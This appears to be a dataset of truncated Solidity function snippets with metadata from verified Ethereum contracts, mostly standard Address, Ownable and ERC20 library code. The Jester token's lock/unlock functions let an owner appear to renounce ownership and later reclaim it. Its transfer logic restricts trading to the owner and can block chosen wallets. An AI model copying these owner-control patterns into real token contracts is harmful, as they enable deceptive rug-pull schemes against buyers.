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Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codeha...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 606, 1230 ] }
18,500
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 2160, 2562 ] }
18,501
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 3318, 3496 ] }
18,502
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 3721, 3922 ] }
18,503
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 4292, 4523 ] }
18,504
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 4774, 5095 ] }
18,505
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Ownable
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 557, 641 ] }
18,506
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Ownable
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 1200, 1353 ] }
18,507
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Ownable
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 1503, 1752 ] }
18,508
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Ownable
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
lock
function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); }
//Locks the contract for owner for the amount of time provided
LineComment
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 1920, 2151 ] }
18,509
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Ownable
contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
unlock
function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; }
//Unlocks the contract for owner when _lockTime is exceeds
LineComment
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 2222, 2532 ] }
18,510
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Jester
contract Jester is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bo...
//to recieve ETH from uniswapV2Router when swaping
LineComment
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 10240, 10274 ] }
18,511
Jester
Jester.sol
0xdcec3bbf1375aaa23b3d22ee64897da75e5987cc
Solidity
Jester
contract Jester is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bo...
_tokenTransfer
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent all...
//this method is responsible for taking all fee, if takeFee is true
LineComment
v0.8.9+commit.e5eed63a
None
ipfs://212149d1a75db9f0e026b4e94af14163ec0109bd10feb819b74c433e2671d93e
{ "func_code_index": [ 18162, 19281 ] }
18,512
YapePair
./contracts/core/YapePair.sol
0xec5ed926ed8cfe13dae06ed5649d0c497f2216b6
Solidity
YapePair
contract YapePair is UniswapV2Pair, YapeWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; using UQ112x112 for uint224; mapping(address => uint256) public farming; uint256 private _minFarming; uint256 private _maxFarming; address private _registry; uint256 private consta...
migrate
function migrate( address token, uint256 amount, uint256 maxMigrationLoss ) external onlyOperator onlyReserved(token) returns (uint256) { return _migrate(token, address(this), amount, maxMigrationLoss); }
/** * @param token use token0 or token1 * @param amount use type(uint256).max (when you want to migrate all) * @param maxMigrationLoss use 0 for the default value */
NatSpecMultiLine
v0.8.6+commit.11564f7e
GNU GPLv3
ipfs://01183ca384ed9641ab9a4b1426aebdc987104748bfe3a2ac01fc39baf3e5db67
{ "func_code_index": [ 1639, 1887 ] }
18,513
ERC20CappedLong
openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
0x4f7d7115865254c7ccc100d19f05819cfbfa08ac
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_v...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://febb5ce4d6cb0de254a2396f5755d91f4ff803dba5cc2b40eda73a2b701e45a0
{ "func_code_index": [ 399, 889 ] }
18,514
ERC20CappedLong
openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
0x4f7d7115865254c7ccc100d19f05819cfbfa08ac
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race...
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://febb5ce4d6cb0de254a2396f5755d91f4ff803dba5cc2b40eda73a2b701e45a0
{ "func_code_index": [ 1515, 1710 ] }
18,515
ERC20CappedLong
openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
0x4f7d7115865254c7ccc100d19f05819cfbfa08ac
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://febb5ce4d6cb0de254a2396f5755d91f4ff803dba5cc2b40eda73a2b701e45a0
{ "func_code_index": [ 2034, 2199 ] }
18,516
ERC20CappedLong
openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
0x4f7d7115865254c7ccc100d19f05819cfbfa08ac
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender T...
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://febb5ce4d6cb0de254a2396f5755d91f4ff803dba5cc2b40eda73a2b701e45a0
{ "func_code_index": [ 2659, 2969 ] }
18,517
ERC20CappedLong
openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
0x4f7d7115865254c7ccc100d19f05819cfbfa08ac
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
decreaseApproval
function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue...
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender T...
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://febb5ce4d6cb0de254a2396f5755d91f4ff803dba5cc2b40eda73a2b701e45a0
{ "func_code_index": [ 3434, 3884 ] }
18,518
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
SafeMath
library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; }
/** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 150, 339 ] }
18,519
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
SafeMath
library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; ...
/** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Adds two unsigned integers, reverts on overflow. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 422, 608 ] }
18,520
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev Total number of tokens in existence. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 301, 397 ] }
18,521
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
balanceOf
function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
/** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 611, 722 ] }
18,522
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 1056, 1195 ] }
18,523
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
transfer
function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; }
/** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 1365, 1510 ] }
18,524
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
approve
function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race...
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 2152, 2305 ] }
18,525
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
transferFrom
function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; }
/** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address...
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 2773, 3009 ] }
18,526
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Em...
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 3533, 3744 ] }
18,527
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; }
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Em...
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 4273, 4494 ] }
18,528
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approva...
NatSpecMultiLine
_transfer
function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); }
/** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
None
bzzr://6acca3e4b773b028c045f5937ea55669b9b3e2da019ca15eea2e19b728cd563a
{ "func_code_index": [ 4717, 5023 ] }
18,529
ERC20Token
ERC20Token.sol
0xde4c932bb3d0b12d6ca5732295c405e56f4bb028
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalS...
